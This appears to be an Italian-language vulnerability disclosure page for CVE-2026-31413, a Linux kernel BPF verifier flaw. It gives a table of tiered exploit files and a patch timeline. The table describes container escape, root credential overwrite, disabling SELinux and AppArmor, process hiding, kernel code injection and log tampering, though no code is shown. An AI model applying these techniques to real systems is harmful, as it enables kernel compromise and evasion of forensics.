CVE-2026-31413 - Corretto in Linux 7.0-rc5. Versioni interessate: dalla 6.12.75+ (backport stabile) alla 7.0-rc4.
Daniel Wade - GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online
| Livello | File | Capacità |
|---|
| 1 | exploit.c / exploit_gke.c | Escape dal container - dirottamento della vtable + sovrascrittura di modprobe_path (l'exploit principale descritto sopra) |
| v2 | exploit_gke_v2.c | Sovrascrittura delle credenziali data-only - nessun dirottamento della vtable, nessun modprobe_path, nessuna interazione con il filesystem. Rileva automaticamente il layout di task_struct. Nessuna finestra di corruzione delle mappe. L'exploit consigliato. |
| 2 | tier2_cred_overwrite.c | Sovrascrittura diretta delle credenziali - attraversa la catena di task_struct, trova il task corrente, azzera uid/gid/caps in struct cred per ottenere root istantaneo |
| 3 | tier3_syscall_hook.c | Hooking della tabella delle syscall - attraversa le tabelle delle pagine per rendere scrivibile la tabella delle syscall, sostituisci un handler, chiamalo dallo spazio utente, ripristina |
| 4 | tier4_security_disable.c | Disattivazione dei sottosistemi di sicurezza - disabilita SELinux, AppArmor, SMEP/SMAP/KPTI, dmesg_restrict, kptr_restrict; verifica tramite /proc |
| 5 | tier5_cross_container.c | Furto di credenziali cross-container - enumera le strutture nsproxy, trova il task_struct di un PID target in un altro namespace, modifica le sue credenziali |
| 6 | tier6_persistence.c | Persistenza innescata dal kernel - sovrascrivi modprobe_path e core_pattern per eseguire i payload dell'attaccante in caso di errori di formato binario e crash |
| 7 | tier7_hardware.c | Introspezione a livello hardware - dump della IDT, lettura/decodifica di CR0/CR4, attraversa le tabelle delle pagine con matrice completa dei permessi, recupera la base KASLR |
| 8 | tier8_dkom_cloak.c | Mascheramento dei processi DKOM - crea un processo figlio, trova il suo task_struct, scollegalo dalla lista dei task del kernel (invisibile a ps/iteratori di task), ricollegalo |
| 9 | tier9_code_inject.c | Iniezione di codice nel kernel in esecuzione - modifica il PMD di .text per renderlo scrivibile, sovrascrivi il prologo di sys_getuid con shellcode (mov rax, 0x1337; ret), chiamalo dallo spazio utente, ripristina |
| 10 | tier10_anti_forensics.c | Anti-forense - dump degli interni del ring buffer di printk, manometti le variabili forensi (ftrace, audit, dmesg_restrict, kptr_restrict), lettura/scrittura del testo del buffer di log del kernel |
| Data | Evento |
|---|
| 2026-01-14 | bffacdb80b93 introduce maybe_fork_scalars() in 7.0-rc1 |
| 2026-03-04 | Bug backportato allo stable 6.12.y come dea9989a3f |
| 2026-03-11 | Trovo il bug durante l'audit del verifier |
| 2026-03-12 | Lettura/scrittura OOB confermata, exploit funzionante |
| 2026-03-13 | PoC di container escape completata, video registrato |
| 2026-03-14 | Patch v3 inviata a [email protected] |
| 2026-03-22 | Fix integrata da Alexei Starovoitov in bpf/bpf.git |
| 2026-04-06 | Linus integra il tag bpf-fixes nel mainline |
| 2026-04-12 | CVE-2026-31413 assegnata da Greg Kroah-Hartman |